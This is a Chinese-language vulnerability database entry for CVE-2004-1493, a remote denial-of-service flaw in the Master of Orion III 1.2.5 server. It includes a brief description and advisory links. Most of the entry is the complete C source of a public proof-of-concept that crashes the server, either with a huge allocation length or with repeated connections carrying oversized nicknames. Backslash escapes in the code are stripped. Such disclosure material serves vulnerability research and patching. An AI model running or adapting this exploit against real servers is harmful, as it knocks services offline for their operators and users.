Orion III Quicksilver Master多个远程服务拒绝漏洞

漏洞ID	1108251	漏洞类型	缓冲区溢出
发布时间	2004-10-27	更新时间	2005-10-20
CVE编号	CVE-2004-1493	CNNVD-ID	CNNVD-200412-568
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/603
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-568

|漏洞详情

OrionIII1.2.5及其早期版本的Master存在漏洞。远程攻击者可以借助多个带有超长用户昵称的连接导致服务拒绝（服务器崩溃），该漏洞可能引起缓冲区溢出。

|漏洞EXP

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
    /*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    25711
#define BUFFSZ  2048
#define TIMEOUT 3
#define MAX     15
#define PCK1    "gniP" "nnoC"   /* Connection Ping */ 
                "x02x00x00x00x01x41x66xFFx08x00x00x00x00x00"
#define PCK2    "ofnI" "trtS"   /* Start info */ 
                "x02x00x02x00x01x01x00x00x00" 
                "xff"          /* nickname size followed by nickname (wide chars) */ 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

#define SEND(x) tmp = htonl(sizeof(x) - 1); 
                if(send(sd, (void *)&tmp, 4, 0) 
                  < 0) std_err(); 
                if(send(sd, x, sizeof(x) - 1, 0) 
                  < 0) std_err();

#define RECV(x) for(tot = 0; tot < x; tot += tmp) { 
                    tmp = recv(sd, buff + tot, BUFFSZ - tot, 0); 
                    if(tmp < 0) std_err(); 
                    if(!tmp) break; 
                }



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    int     sd,
            i,
            len,
            tot,
            tmp;
    u_short port = PORT;
    u_char  buff[BUFFSZ];
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("n"
        "Master of Orion III <= 1.2.5 server crash "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 3) {
        printf("n"
            "Usage: %s <attack> <server> [port(%d)]n"
            "n"
            "Attack:n"
            " 1 = fast allocation exitn"
            " 2 = multiple big nicknames crashn"
            "n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s:%hun",
        inet_ntoa(peer.sin_addr), port);

    if(atoi(argv[1]) == 2) {
        printf("- make max %d connections sending a big nicknamen", MAX);
        for(i = 1; i <= MAX; i++) {
            printf("  Connection: %dn", i);
            sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sd < 0) std_err();
            if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();

            fputs("- send join pingn", stdout);
            SEND(PCK1);

            RECV(4);
            len = ntohl(*(u_long *)buff);
            RECV(len);

            fputs("- send join datan", stdout);
            SEND(PCK2);

            fputs("- check if server is crashedn", stdout);
            if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
                fputs("nServer IS vulnerable!!!n", stdout);
                close(sd);
                break;
            }

            close(sd);
        }
        if(i > MAX) fputs("nServer doesn't seem vulnerablen", stdout);

    } else {
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        fputs("- send BOOM datan", stdout);
        len = 0xffffffff;   // bytes to allocate in memory
        if(send(sd, (void *)&len, 4, 0)
          < 0) std_err();

        if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
            fputs("nServer IS vulnerable!!!n", stdout);
        } else {
            fputs("nServer doesn't seem vulnerablen", stdout);
        }

        close(sd);
    }

    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolve hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-10-27]

|参考资料

来源:XF
名称:master-of-orion-nickname-dos(17884)
链接:http://xforce.iss.net/xforce/xfdb/17884
来源:BID
名称:11550
链接:http://www.securityfocus.com/bid/11550
来源:SECUNIA
名称:13008
链接:http://secunia.com/advisories/13008
来源:packetstormsecurity.nl
链接:http://packetstormsecurity.nl/0410-advisories/masterOrionIII.txt
来源:BUGTRAQ
名称:20041027CrashsinMasterofOrionIII1.2.5
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109889705116038&w;=2

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